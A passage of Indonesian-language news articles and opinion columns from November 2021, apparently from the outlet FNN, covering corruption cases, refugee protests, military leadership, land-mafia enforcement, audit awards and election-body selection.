dalam sebuah konferensi di Rabat, Maroko pada 22-25 September 1969 dan beranggotakan 57 negara. Piagam pertama OKI diadopsi saat Pertemuan Ke-3 Dewan Menlu OKI pada tahun 1972. OKI berkembang menjadi suatu organisasi internasional sebagai wadah kerja sama di berbagai bidang politik, ekonomi, sosial, budaya, dan ilmu pengetahuan antar negara-negara muslim di seluruh dunia. (MD).

Berkomitmen Dalam Mengembangkan Lingkungan, Pelni Diganjar Gold Rank

Jakarta, FNN - PT Pelayaran Nasional Indonesia atau PT Pelni (Persero) meraih Gold Rank dalam ajang keempat Asia Sustainability Reporting Rating (ASRRAT) 2021 yang diselenggarakan oleh National Center for Sustainability Reporting (NCSR). Pejabat sementara Kepala Kesekretariatan Perusahaan PT Pelni, Opik Taufik menyampaikan terima kasih kepada NCSR selaku penyelenggara kegiatan atas apresiasi yang diberikan kepada PT Pelni. “Tahun ini merupakan tahun ketiga bagi PT Pelni meraih Gold Rank sejak tahun 2019 lalu. Kami terus berupaya mencapai sasaran pembangunan berkelanjutan sesuai dengan program SDG’s yang dicanangkan oleh Pemerintah," kata Opik dalam keterangannya di Jakarta, Kamis, 18 November 2021 Opik mengatakan, penghargaan yang diterima oleh PT Pelni mencerminkan komitmen perusahaan dalam penerapan standar pelaporan keberlanjutan (sustainibility report) yang transparan dan akuntabel atas kinerja. Laporan keberlanjutan tersebut menunjukkan sejauh mana perusahaan melaksanakan dan mengembangkan pencapaian pembangunan keberlanjutan, baik itu secara aspek lingkungan, sosial dan ekonomi. “Kami juga mengapresiasi seluruh insan Pelni atas kinerja terbaiknya sehingga mampu mempertahankan penghargaan ini. Kami memiliki komitmen terus berkontribusi kepada masyarakat atas aspek keberlanjutan yaitu aspek ekonomi, lingkungan dan sosial disamping mengembangkan bisnis perusahaan,” ujar Opik. Sesuai dengan komitmennya, PT Pelni terus memperhatikan aspek pembangunan berkelanjutan pada setiap lini bisnisnya, salah satunya aspek lingkungan. “Tahun 2021 ini, kami memiliki program unggulan Rumah Kelola Sampah (RKS) di Baubau yang telah diresmikan pada bulan Juni 2021. Program tersebut bertujuan mengurangi limbah sampah yang dihasilkan dari kapal-kapal, sehingga dapat dimanfaatkan menjadi barang bernilai jual oleh masyarakat setempat,” tuturnya. The Asia Sustainability Reporting Rating (ASRRAT) 2021 yang diprakarsai oleh NCSR merupakan ajang apresiasi tahunan yang diberikan kepada perusahaan yang berkomitmen dalam melaksanakan dan mengembangkan aspek lingkungan, sosial dan ekonomi melalui laporan berkelanjutan. Penghargaan diberikan oleh Ketua Institute of Certified Sustainability Practitioners Prof. Eko Ganis Sukoharsono dan Ketua Dewan Penasehat National Center for Sustainability Reporting (NCSR) Dr. Chaerul D.Djakman kepada Opik Taufik, di Jakarta, Rabu, 17 November 2021. (MD).

Menyoroti Borobudur (2)

Oleh Ridwan Saidi Borobudur toponim berupa kontur tanah yang model serupa juga ada di Cengkareng, Jakarta Barat. Arrtinya bukit membujur. Boro adalah bagian belakang tubuh. Wangsa Syailendra yang katanya cukong Borobudur, benarkah? Dari kerajaan mana? Time frame? Ini tokoh khayalan. Nama Syailendra dan Sanjaya dikutip dari prasasti Sojomerto VII M. Kedua nama itu bukan nama orang tapi sebutan jenis corakan batik. Samara Tungga artinya desainer orang Samarkand. Ini bukan nama seseorang, dan bukan cukong Borobudur. Borobudur dibangun setelah zona econ Samarrang berfungsi IX-X M. Cost pembangunan dari pelaku bisnis zona econ Semarang sebagai simbol bonafiditas pebisnis. Borobudur itu tempat perayaan. Variabel econ mutlak untuk memahami sejarah. Sejarah itu logika. Jika tak logis maka bukan sejarah. Stop tebak-tebakan dan stop dongeng. Biasakan gunakan akal sehat. Foto atas bukan stupa, stupa artinya kubah. Itu tekstur bel atau lonceng. Panel relief Borobudur melukiskan kedatangan pelbagai migran. Juga banyak relief porno. Sulit mengaitkan Borobudur dengan sesuatu agama atau nabi. *) Budayawan

Bansos dari Risma Ditarik Lagi?

Jakarta, FNN - Memalukan, kursi roda, bansos dari mensos Risma untuk rakyat NTT ditarik lagi karena kedatanganya ke NTT tak disambut atau hanya untuk kepentingan dokumentasi. Saya jadi teringat, beberapa tahun yang lalu, ketika saya dan tim terjun ke lokasi banjir dan tanah longsor di kecamatan Sukajaya kabupaten Bogor Jawa Barat. Informasi yang saya peroleh, begitu tragisnya penderitaan penduduk yang terjebak dan terisolasi oleh banjir dan tanah longsor akibat hujan yang terus menerus berhari-hari. Mobil logistik untuk bantuan berupa makanan dan obat obatan pun hanya sebatas wilayah tertentu yang jauh dari sasaran yang mau dievakuasi. Untuk mencapai sasaran harus diangkut dengan sepeda motor khusus, motor gunung yang bergardan khusus dan beroda khusus / berantai, itupun sepanjang jalan yang berbelak belok dan naik turun harus berjibaku dengan tanah lumpur dan pohon pohon yang roboh melintang dan merintangi jalan jalan pendekat. Bahkan tim evakuasi harus dipandu oleh penduduk setempat yang menguasai medan di situ. Di daerah yang relatif aman telah berdiri pos-pos komando dari Kodim, Polri, Pemda dan unsur-unsur lain, namun nun jauh di sana di dekat lokasi bencana yang berbahaya hanya pos ko dari FPI (Front Pembela Islam), sebutan saat itu, yang disebar kebeberapa titik kritis, yang bisa untuk evakuasi jenazah atau korban yang masih hidup / selamat. Sesampainya saya bersama Tim di lokasi, apa yang saya saksikan tidak jauh bebeda dengan informasi yang saya terima, dimana jalan jalan dipenuhi lumpur. Hanya sebagian yang sudah dibersihkan dengan belko, sedangkan air mengucur melalui lubang lubang belahan bukit / gunung merembes tak henti-henti. Informasi yang saya peroleh dari penduduk yang kebetulan ketemu di Bogor baru baru ini keadaan belum banyak berubah, tidak layak huni penduduk. Ada yang menarik bagi saya, jauh dari lokasi pos-pos FPI yang di depan dan rawan bahaya (berdempetan dengan lokasi merah / rawan / kritis), di ujung dekat daerah aman di dekat pos-pos komando Utama Kodim, Polisi, pemda dan unsur unsur lain, di bukit kecil pinggir jalan, ada satu bendera merah gambar moncong kepala Banteng yang sudah tiangnya miring akibat hujan dan angin, namun tanpa ada orangnya maupun pos . Menurut penduduk terdekat, ketika saya tanya, memang hanya bendera doang, sedangkan orang yang menancapkan bendera tidak pernah nongol lagi. Kembali pada bansos untuk rakyat NTT yang ditarik oleh Kemensos, perlu ditelusuri dan ditanyakan muawal ceritanya, apakah penarikan itu sebagai akibat rakyat yang tidak merespons saat kedatangan Mensos atau karena bansos ditarik lagi mengakibatkan rakyat kecewa dan marah sehingga tidak ada yang menjemput. Yang pasti gambar / photo di Mensos yang memfoto eksukusi bansos sudah terdokumentasi. Semoga akan didapat penjelasan lanjut yang benar sehingga tidak terjadi berita yang sumir atau simpang siur, yang membuat wajah pemerintah buram (Jakarta, 28 Nopember 2021, Sugengwaras, Purn. TNI AD)

Ratusan Imigran Afganistan Kembali Demonstrasi di Tanjungpinang

Tanjungpinang, FNN - Ratusan imigran Afganistan kembali berdemonstrasi menuntut Komisariat Tinggi Urusan Pengungsi PBB atau UNHCR segera memindahkan mereka ke negara ketiga penampung pengungsi. "Ini kali keempat kami berunjuk rasa dengan tuntutan yang sama, tapi belum direspon sama sekali oleh UNHCR," kata seorang warga Afganistan, Shahram, saat berunjuk rasa di lapangan Pamedan Tanjungpinang, Kepulauan Riau, Rabu (17/11). Pada demonstrasi sebelumnya, kata dia, ada informasi bahwa perwakilan UNHCR berjanji akan menemui mereka, namun sampai hari ini tak kunjung terealisasi. Ia menilai pihak UNHCR tidak serius menangani pemindahan warga Afganistan ke negara ketiga, padahal mereka rata-rata sudah 10 tahun berada di Indonesia. Menurut dia saat ini ada sekitar 350 imigran di tempat penampungan, khususnya di Hotel Badra, Kabupaten Bintan. "Sudah banyak yang frustasi, bahkan belasan dari kami nekat bunuh diri, karena belum dapat status kewarganegaraan yang jelas," katanya. Ia yang bertindak sebagai koordinator lapangan unjuk rasa itu pun menegaskan akan terus-menerus berdemonstrasi mendesak UNHCR memenuhi tuntutan mereka. "Kami tidak berhenti, sebelum tuntutan itu dipenuhi UNHCR," kata dia. Sementara itu, Kepala Seksi Keamanan Rumah Detensi Imigrasi Tanjungpinang, Sony, menyampaikan tidak bisa berbuat banyak terhadap tuntutan para imigran Afganistan itu. Kewenangan mereka hanya mengawasi dan memfasilitasi jika ada pergerakan warga negara asing itu ke negara ketiga. "Unjuk rasa ini tetap kita laporkan ke pihak UNHCR dan Kemenkumham RI," ujar Sony. Sepengetahuan mereka, sampai sejauh ini UNHCR juga belum dapat memastikan kapan pemindahan imigran Afganistan di Indonesia, karena tergantung kesiapan negara ketiga untuk menampung mereka. "Begitu kalau dari hasil pertemuan dengan UNHCR dan pihak-pihak terkait di Bintan, belum lama ini," kata Sony. (sws, ant)

KPK Ajukan Kasasi atas Vonis Bebas Dua Terdakwa Koruptor Bansos Covid-19

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengajukan kasasi terhadap vonis bebas dua orang terdakwa kasus dugaan korupsi pengadaan bantuan sosial COVID-19 di Kabupaten Bandung Barat yaitu M Totoh Gunawan dan Andri Wibawa. "Tim jaksa melalui kepaniteraan pidana khusus pengadilan Tindak Pidana Korupsi (Tipikor) Bandung pada hari ini telah menyatakan upaya hukum yaitu menyatakan upaya hukum kasasi untuk terdakwa Andri Wibawa dan M. Totoh Gunawan dalam perkara tindak pidana korupsi pengadaan barang tanggap darurat bencana pandemi COVID-19 pada Dinas Sosial Pemkab Bandung Barat tahun 2020," kata Plt Juru Bicara KPK Ipi Maryati Kuding di Jakarta, Rabu. Penyerahan memori kasasi itu dilakukan setelah majelis hakim di Pengadilan Tindak Pidana Korupsi (Tipikor) Bandung pada Kamis (4/11) menjatuhkan vonis bebas terhadap pengusaha Totoh Gunawan dan Andri Wibawa yang merupakan anak Bupati Bandung Barat Aa Umbara Sutisna. Majelis hakim menilai Andri dan Totoh tidak berbukti melakukan pasal 12 huruf i UU No 31 Tahun 1999 sebagaimana diubah dengan UU No 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat 1 ke-1 KUHP. Padahal jaksa KPK menuntut Totoh Gunawan agar dihukum selama 6 tahun penjara ditambah denda Rp300 juta subsider 6 bulan kurungan serta membayar uang pengganti sejumlah Rp1.118.433.848 subsider 1 tahun penjara. Sedangkan Andri Wibawa dituntut 5 tahun penjara ditambah kewajiban membayar uang pengganti senilai Rp2,6 miliar. Meski menyatakan Totoh dan Andri tidak terbukti melakukan perbuatan pidana, namun majelis hakim yang sama menyatakan Bupati Bandung Barat Aa Umbara Sutisna terbukti ikut campur tangan dalam pengadaan barang melalui perusahaan milik M. Totoh Gunawan serta perusahaan yang disiapkan oleh Andri Wibawa melalui Denny Indra Mulyawan, Hardy Febrian Sobana, dan Diane Yuliandari sehingga menerima keuntungan sebesar Rp2,379 miliar. AA Umbara pun divonis 5 tahun penjara ditambah denda Rp250 juta subsider 6 bulan kurungan ditambah kewajiban membayar uang pengganti sebesar Rp2,379 miliar subsider 1 tahun penjara. "Tim jaksa juga menyerahkan memori banding untuk terdakwa Aa Umbara," tambah Ipi. Tim jaksa KPK juga mengajukan kasasi untuk terdakwa Wali Kota Cimahi nonaktif Ajay M. Priatna dalam perkara menerima gratifikasi terkait pembangunan RS Kasih Bunda. "Tim juga menyerahkan memori kasasi untuk terdakwa Ajay M Priatna," ungkap Ipi. Di pengadilan tingkat pertama, Ajay dijatuhi vonis 2 tahun penjara ditambah denda Rp100 juta subsider 3 bulan kurungan ditambah kewajiban membayar uang pengganti sebesar Rp1,425 miliar subsider 1 tahun penjara. Selanjutnya Pengadilan Tinggi Bandung juga memperkuat vonis Ajay tersebut sehingga vonis Ajay tetap 2 tahun penjara. "Terkait memori kasasi dan memori banding dimaksud, KPK berharap Majelis hakim baik di tingkat banding maupun tingkat kasasi, sepenuhnya mengabulkan permintaan tim jaksa sesuai dengan fakta-fakta hukum selama proses persidangan dan memutus sesuai dengan rasa keadilan publik," kata Ipi. (sws, ant)

Pengamat Sebut KKB Penuhi Kriteria sebagai Kelompok Teroris

Jakarta, FNN - Pengamat terorisme dari Universitas Indonesia Ridlwan Habib mengatakan kelompok kriminal bersenjata (KKB) Papua sudah memenuhi kriteria untuk disebut sebagai kelompok teroris yang dikategorikan sebagai kejahatan luar biasa. Menurut Ridlwan, terorisme memiliki arti sebagai perbuatan yang menggunakan kekerasan dan menimbulkan suasana teror serta rasa takut secara meluas. "Merujuk dari pengertian tersebut maka dapat disimpulkan bahwasa KKB itu sudah termasuk sebagai teroris," ujar Ridlwan dikutip dari siaran pers di Jakarta, Rabu. Meski demikian, kata Ridlwan, perlu kajian yang lebih mendalam mengenai penamaan KKB sebagai teroris asli Papua. Ia khawatir penamaan tersebut justru akan menimbulkan dampak negatif bagi warga asli Papua dan memicu konflik lainnya yang akan makin memperkeruh suasana. "Penamaan KKB sebagai teroris asli Papua saya rasa jangan dipakai karena nama tersebut dapat menimbulkan kemarahan warga Papua yang tidak berurusan dengan kelompok tersebut. Berilah nama dengan lebih detail agar tidak menimbulkan konflik baru," ujarnya. Ia memandang perlu ada sinergi dan kerja sama untuk mengatasi isu KKB yang sedang meneror rakyat Papua. Tokoh agama dan tokoh masyarakat harus berjalan beriringan mencegah dan memberi pemahaman kepada masyarakat bahwa KKB merupakan musuh nyata bersama yang bertujuan melukai persatuan bangsa yang plural ini. "Dengan menggandeng tokoh lokal, materi yang diberikan tersampaikan dengan benar sesuai dengan masing-masing budaya, kebiasaan, dan kepercayaan," ujarnya. Di samping itu, penguatan personel aparat juga harus dilakukan. Menurut Ridlwan, perlu ada payung hukum yang tepat bagi personel yang terlibat langsung dalam mengamankan masyarakat setempat dari ancaman teror KKB. "Langkah utamanya seharusnya memberikan payung hukum terhadap pasukan yang bertugas menumpas para pembuat teror di tengah masyarakat sehingga pasukan bisa bergerak dengan leluasa," ujar Ridlwan. Ridlwan juga memandang perlu ada penyusunan taktik lapangan yang matang mengingat KKB memiliki kemampuan dalam menguasai medan. "Dengan demikian, tidak perlu waktu lama (bagi aparat) untuk beradaptasi dengan lingkungan hutan yang lebat di Papua," katanya. Yang tidak kalah penting, menurut Ridlwan, adalah terus membangun rasa percaya rakyat Papua terhadap NKRI. (sws, ant)

Konvergensi Media Dorong Jurnalis Miliki "Skill" Berbagai Bidang

Jakarta, FNN - Konvergensi media mendorong jurnalis untuk memiliki ketrampilan atau skill di berbagai bidang seperti menulis, mengambil gambar baik berupa foto serta video. "Jurnalis di era konvergensi harus punya ketrampilan teknik untuk mengambil gambar berupa foto serta video maupun merekam," ujar pakar jurnalisme digital dari Amerika Serikat Michael O'Connell dalam diskusi virtual "Dinamika Konvergensi Media Amerika" di Jakarta, Rabu. Selain memiliki ketrampilan menulis yang tajam dan mendalam, lanjut O'Connell, jurnalis masa kini harus bisa siaran langsung di berbagai media sosial seperti Facebook maupun Instagram. "Jurnalis harus bisa mempresentasikan kisah secara langsung. Anda harus nyaman berada di depan kamera dan melakukan wawancara narasumber di depan kamera," kata dia. Di samping itu, lanjut dia, jurnalis di era konvergensi harus memahami cara kerja media sosial. "Bagaimana menggunakan media sosial untuk memancing percakapan orang-orang. Bagaimana caranya membuat konten berita yang menarik di mesin pencarian Google," kata O'Connell. Ia mengatakan jurnalis harus dapat memahami bagaimana membuat headline yang mampu menarik rasa ingin tahu pembaca. "Menciptakan headline yang memikat pembaca. Karena saat ini pembaca punya kendali kapan dan di mana mereka ingin mengonsumsi berita," kata O'Connell. (sws, ant)

Menteri Sofyan Akui Ada Staf BPN Terlibat Kejaharan Pertanahan

Jakarta, FNN - Menteri Agraria dan Tata Ruang (ATR)/Kepala Badan Pertanahan Nasional (BPN) Sofyan Djalil mengakui jika ada oknum BPN yang terlibat dalam kasus pertanahan. "Kami akui masih ada oknum aparat BPN yang terlibat dalam kasus pertanahan," kata Sofyan dalam rapat koordinasi penanganan kejahatan pertanahan di salah satu hotel di Jakarta, Rabu (17/11) malam. Sofyan menegaskan para oknum itu telah diberikan hukuman baik secara administrasi maupun pidana. "Bahkan kepala kantor wilayah BPN kita copot dan pidanakan," kata Sofyan menegaskan. Namun kata Sofyan, dengan organisasi begitu besar yang mempekerjakan 38 ribu pegawai se-Indonesia. Sofyan mengibaratkan itu sebagai apel dalam keranjang, pastinya ada beberapa apel yang rusak. "Jadi bagaimana yang rusak itu dibuang," ujar Sofyan. Pernyataan itu disampaikan Sofyan saat menanggapi Ketua Panitia Kerja Mafia Tanah Komisi II DPR RI Junimart Girsang. Junimart menyarankan satuan tugas tim pencegahan dan pemberantasan mafia tanah untuk menyelesaikan persoalan internal. "Dalam menangani kejahatan di bidang pertahanan yang pertama dibenahi adalah persoalan internal," kata Junimart. Junimart menegaskan tidak mungkin ada mafia pertanahan, tanpa adanya orang dalam. Kemudian, disebut mafia tanah jika telah ada sertipikat tanah yang diterbitkan badan pertanahan tanah (BPN). Sofyan menjelaskan penanganan kejahatan pertanahan telah mendapatkan dukungan dari berbagai pihak yakni DPR RI, Kejaksaan Agung, Polri hingga Komisi Pemberantasan Korupsi (KPK). "Ini merupakan keseriusan pemerintah untuk memerangi para mafia tanah, sehingga rasa keadilan pada hukum dan pertanahan semakin membaik," kata Sofyan menegaskan. Sofyan menjelaskan banyak kasus mafia tanah tersangkut tindak pidana korupsi, yang merugikan aset negara bahkan aset BUMN. Selain itu, adanya indikasi korupsi yang melibatkan aparat seperti ASN, yang bekerjasama dengan oknum para mafia tanah. Sejak tahun 2018, Kementerian ATR/BPN telah mengalokasikan anggaran penanganan kasus oleh tim dengan target 61 kasus untuk seluruh Indonesia. Sampai tahun 2021, telah ditargetkan 305 kasus yang penyelesaiannya dilakukan secara administrasi pertahanan oleh Kementerian ATR/BPN dan penyelesaian pidana oleh kepolisian sampai P21. Kementerian Agraria dan Tata Ruang (ATR)/Badan Pertanahan Nasional (BPN) menggelar rapat koordinasi penanganan kejahatan pertanahan di salah satu hotel di Jakarta. Rakor itu dihadiri perwakilan kejaksaan negeri dan kejaksaan tinggi seluruh Indonesia. Para penyidik Polda se-Indonesia dan Perwakilan BPN se-Indonesia. Tim pencegahan dan pemberantasan Mafia tanah beranggotakan Kementerian ATR/BPN dan Kepolisian Negara RI dibentuk mulai tahun 2018, sebagai tindak lanjut dari MoU antara Menteri ATR/Kepala BPN dengan Kepala Kepolisian Negara RI Nomor Nomor 3/SKBIII/2017 dan Nomor B/26/11/2017. Tim itu dibentuk dengan pertimbangan untuk mempermudah koordinasi dan meningkatkan keberhasilan penanganan kasus yang terindikasi adalah mafia tanah. Selanjutnya pada tahun 2020, ditandatangani MoU dengan kejaksaan agung. Sehingga mulai tahun 2021, kejaksaan tinggi dimasukkan ke dalam anggota tim. Hadir dalam Rakor tersebut Menteri Agraria dan Tata Ruang/Kepala Badan Pertanahan Nasional Sofyan A. Djalil, Ketua Panitia Kerja Mafia Tanah Komisi II Dewan Perwakilan Rakyat Republik Indonesia Junimart Girsang, Wakil Ketua Komisi II Dewan Perwakilan Rakyat Republik Indonesia Saan Mustopa. Direktur Keamanan Negara Ketertiban Umum dan Tindak Pidana Umum Lain Kejaksaan Agung Yudi Handono, Kasubdit II Dittipidum Badan Reserse Kriminal Polri Kombes Polisi Muslimin Ahmad, Deputi Penindakan Komisi Pemberantasan Korupsi Irjen Polisi Karyoto. (sws, ant)

Pengamat Empat Isu Butuh Perhatian Panglima TNI Dan Kasad Baru

Jakarta, FNN - Pengamat militer dari Universitas Paramadina, Anton Aliabbas, menyebutkan, ada empat isu mendesak yang butuh perhatian Panglima TNI, Jenderal TNI Andika Perkasa, dan Kepala Staf TNI AD, Jenderal TNI Dudung Abdurachman. Kedua jenderal itu (abituren Akademi Militer 1987 dan 1988) baru dilantik di jabatan baru mereka masing-masing oleh Presiden Joko Widodo di Istana Negara, Rabu, 17 November 2021. Menurut Aliabbas, bila melihat dari survei terbaru yang dilakukan salah satu media massa, ada empat isu mendesak yang membutuhkan perhatian, yaitu kedisiplinan, kesejahteraan, pendidikan dan keterampilan. "Perbaikan dan penataan di empat isu ini secara pararel menjadi krusial mengingat TNI AD hingga kini memiliki satuan kewilayahan yang memungkinkan ada gesekan langsung dengan masyarakat," kata dia, ketika dikonfirmasi, di Jakarta, Rabu, 17 November 2021. Menurut dia, karena masih terjadi sejumlah insiden yang terkait pelanggaran hukum dan disiplin, maka publik tentu menanti terobosan komprehensif yang akan dilakukan Abdurachman. Perbaikan itu bukan hanya sekadar melakukan penindakan terhadap pelanggar, tetapi juga mencakup pada rekrutmen, pendidikan, karier dan kesejahteraan. Sebagai kepala staf TNI AD, tugas pokoknya adalah memelihara dan membina kemampuan serta kekuatan tempur satuan-satuan di jajarannya, untuk kemudian dipergunakan oleh panglima TNI. Dalam survei itu, mayoritas publik sudah yakin TNI telah menunjukkan kinerja yang baik dalam menyelesaikan tantangan di sektor pertahanan dan keamanan. Namun, publik menyoroti pentingnya TNI konsisten membangun kualitas SDM-nya. "Guna menjaga kontinuitas, tentunya kami berharap, baik Andika Perkasa maupun Dudung Abdurrachman dapat saling bekerja sama dalam membangun SDM TNI AD yang lebih profesional. Program ini merupakan bentuk dukungan dan implementasi konkret visi sentral pemerintahan Joko Widodo-Ma'ruf Amin, yakni membangun SDM," kata dia, sebagaimana dikutip dari Antara. Selain itu, kata di, keberlanjutan inisiatif dan program seperti keterbukaan proses rekrutmen personel TNI AD ada baiknya juga diperkaya dengan membuka saluran langsung pengaduan yang melibatkan lembaga negara lain seperti Komnas HAM dan Komnas Perempuan ataupun juga kelompok masyarakat sipil. "Hal menjadi penting untuk menunjukkan bahwa proses rekrutmen berjalan lebih terbuka dan adil-jujur," jelas dosen Paramadina Graduate School of Diplomacy ini. Di sisi lain, menurut Anton pelaksanaan tour of duty dan tour of area yang menerapkan prinsip indiskriminasi juga patut diteruskan untuk menghindari kecenderungan penugasan prajurit di wilayah tertentu saja. Dengan demikian, lanjut dia, perjalanan karier prajurit TNI AD semakin kaya pengalaman, beragam dan lintas wilayah serta berjalan secara adil. "Mengingat keduanya mendapatkan dukungan politik dari DPR, kiranya agar dua elit militer ini menunjukkan komitmen terbuka dan terukur untuk menjauhkan TNI terutama TNI AD tidak terlibat dalam politik praktis," katanya. Sekalipun pemilihan umum masih beberapa tahun lagi, kata dia, dinamika politik nasional akan mulai menghangat sejak 2022 karena ada sekitar 101 jabatan kepala daerah akan habis masa tugas pada 2022 dan diisi pejabat sementara. Kepala Center for Intermestic and Diplomatic Engagement (CIDE) ini pun meminta agar mempertimbangkan ulang kemungkinan ada perwira tinggi TNI aktif ditunjuk sebagai pejabat sementara kepala daerah. "Dengan menjabat posisi pejabat (kepala daerah) sementara, mau tidak mau, perwira aktif akan bersentuhan langsung dengan politik praktis. Apalagi, pemilu, pilpres dan pilkada akan digelar pada 2024," kata dia. Pada titik itu, kata dia, menguji konsistensi salah satu fokus utama Perkasa saat uji kelayakan dan kepatutan di Komisi I DPR yakni penguatan pelaksanaan tugas TNI yang berdasarkan Undang-undang. Disebutkannya, mengisi jabatan pelaksana tugas kepala daerah tidak termasuk dalam 10 pos yang dapat dipegang perwira TNI aktif sebagaimana yang tercantum dalam pasal 47 ayat 2 UU Nomor 34/2004 tentang TNI, yakni di Kementerian Koordinator bidang Polhukam, Kementerian Pertahanan, Sekretaris Militer Presiden, BIN, BSSN, Lembaga Ketahanan Nasional, Dewan Ketahanan Nasional, Badan SAR Nasional, BNN, dan Mahkamah Agung. "Sudah semestinya pemerintah memperkuat komitmen ini dengan tidak menjadikan perwira aktif TNI sebagai pejabat sementara kepala daerah," kata dia. (MD).

Pemprov Lampung Raih Predikat WTP Tujuh Kali Berturut-turut

Bandarlampung, FNN - Pemerintah Provinsi Lampung meraih predikat wajar tanpa pengecualian (WTP) dari Badan Pemeriksa Keuangan (BPK) Perwakilan Lampung atas laporan keuangan pemerintah daerah tujuh kali berturut-turut. "Penghargaan tersebut membuktikan komitmen dan keseriusan Pemprov Lampung dalam menjalankan tata kelola keuangan yang baik walau dalam kondisi Covid-19," kata Kepala Kanwil Direktorat Jenderal Perbendaharaan (DJPB) Provinsi Lampung Ade Rohman di Ruang Rapat Utama, Pemprov Lampung, Rabu, 17 November 2021. Ia menyebutkan laporan keuangan Pemprov Lampung yang telah diaudit BPK telah memenuhi kesesuaian dengan SAP, kecukupan kepemilikan hak, ketakutan terhadap peraturan perundang-undangan, dan terpaku pada efektifitas sistem pengendalian internal. Ade Rohman menyampaikan apresiasi setinggi-tingginya dan kepada Pemprov Lampung dan pemkab/pemkot atas capaian WTP dari BPK selama 5 tahun berturut-turut. Dia berharap Pemprov Lampung mempertahankan dan meningkatkan kualitas laporan keuangan pemerintahnya yang akuntabel dan transparan. Gubernur Arinal Djunaidi mengucapkan terima kasih atas penghargaan yang diperoleh Pemprov Lampung dari Pemerintah Republik Indonesia melalui Menteri Keuangan. Dia juga menyampaikan apresiasi yang setinggi-tingginya kepada seluruh jajaran Pemprov Lampung yang terus berupaya dan bekerja keras dalam mempertahankan opini WTP "Semoga kita dapat terus mempertahankan dan meningkatkan kinerja," tambahnya, sebagaimana dikutip dari Antara. Sementara untuk kabupaten/kota, ada 4 daerah yang memperoleh LKPD selama 10 tahun berturut-turut, yakni Pemkot Metro, Pemkab Lampung Barat, Pemkab Tulang Bawang Barat, dan Pemkab Waykanan. Lima daerah yang mendapatkan WTP adalah Pemprov Lampung, Pemkab Lampung Selatan, Pemkab Pringsewu, Pemkab Pesawaran, Pemkab Tulangbawang. Sedangkan 5 daerah yang mendapatkan piagam WTP dari kementerian adalah Kabupaten Mesuji, Lampung Tengah, Lampung Timur, Pesisir Barat, Tanggamus. (MD).

Tes Tertulis Calon Anggota KPU Dan Bawaslu Digelar Terpusat Di Jakarta

Jakarta, FNN - Tes tertulis, penulisan makalah, dan tes psikologi ratusan pendaftar anggota KPU dan Bawaslu yang lulus seleksi penelitian administrasi berlangsung secara terpusat di JIEXPO Kemayoran, Jakarta, pada 24-25 November 2021, kata Ketua Tim seleksi, Juri Ardiantoro. “(Tes) akan dilaksanakan sesuai jadwal,” kata Ketua Tim Seleksi Calon Anggota KPU dan Bawaslu Masa Jabatan 2022-2027 Juri Ardiantoro saat jumpa pers di Jakarta, Rabu, 17 November 2021. Tim Seleksi lewat Keputusan No: 138/TIMSEL/XI/2021 menetapkan 629 orang dari total 868 pendaftar anggota KPU dan Bawaslu ditetapkan memenuhi syarat atau lulus seleksi administrasi sehingga mereka dapat lanjut ke tahapan berikutnya, yaitu tes tertulis, penulisan makalah, dan tes psikologi. Dari 629 orang yang lulus tahap penelitian administrasi itu, 352 di antaranya merupakan pelamar anggota Komisi Pemilihan Umum (KPU) RI, sementara 277 lainnya merupakan pendaftar anggota Badan Pengawas Pemilu (Bawaslu) RI, terang Juri. Ia lanjut menunjukkan mayoritas pelamar yang lulus seleksi penelitian administrasi berasal dari Jawa dan Sumatera. Dikutip dari Antara, jumlah pelamar anggota KPU dari Jawa yang lulus seleksi administrasi mencapai 158 orang, kemudian Sumatera 77 orang, Sulawesi 47 orang, Maluku dan Papua 27 orang, Kalimantan 26 orang, serta Bali dan Nusa Tenggara 17 orang. Sementara itu, jumlah pelamar anggota Bawaslu dari Jawa yang lulus seleksi administrasi sebanyak 143 orang, Sumatera 58 orang, Sulawesi 33 orang, Kalimantan 17 orang, Maluku dan Papua 15 orang, terakhir Bali dan Nusa Tenggara 11 orang. Nama-nama lengkap peserta seleksi anggota KPU dan Bawaslu yang lulus penelitian administrasi dapat dilihat di laman resmi Tim Seleksi KPU dan Bawaslu, http://seleksikpubawaslu.kemendagri.go.id. Tim Seleksi juga akan menyiarkan nama-nama yang lulus tahapan administrasi itu di beberapa media cetak nasional, yaitu Jawa Pos, Sindo, dan Kontan. Dalam daftar pelamar yang lulus seleksi administrasi, ada beberapa nama petahana komisioner KPU dan Bawaslu. Petahana komisioner KPU yang lulus seleksi, yaitu Ilham Saputra, I Dewa Kade Wiarsa Raka Sandi, Viryan, Pramono Ubaid Tanthowi, dan Hasyim Asy'ari. Sementara itu, petahana komisioner Bawaslu yang lulus seleksi, yaitu Abhan, Mochammad Afifudin, Rahmat Bagja, dan Fritz Edward Siregar. Seleksi anggota KPU dan Bawaslu untuk masa jabatan 2022-2027 berlangsung sejak 15 Oktober 2021 sampai 7 Januari 2022. Tahapan seleksi, yaitu pengumuman pendaftaran pada 15-17 Oktober, penerimaan pendaftaran 18 Oktober-15 November, penelitian administrasi 10 November-16 November, pengumuman seleksi administrasi 17 November 2021. Tahapan berikutnya seleksi tertulis dan penulisan makalah 24 November, tes psikologi 25 November, pengumuman seleksi tertulis dan psikologi 3 Desember, tes psikologi lanjutan 9-11 Desember, tes kesehatan 26-30 Desember, wawancara calon anggota Bawaslu 26-27 Desember, wawancara calon anggota KPU 28-30 Desember, dan penyampaian hasil ke Presiden Joko Widodo pada 7 Januari 2022. (MD).

DPRD DKI minta BPK Audit Pembangunan Sekolah Yang Roboh Di Cengkareng

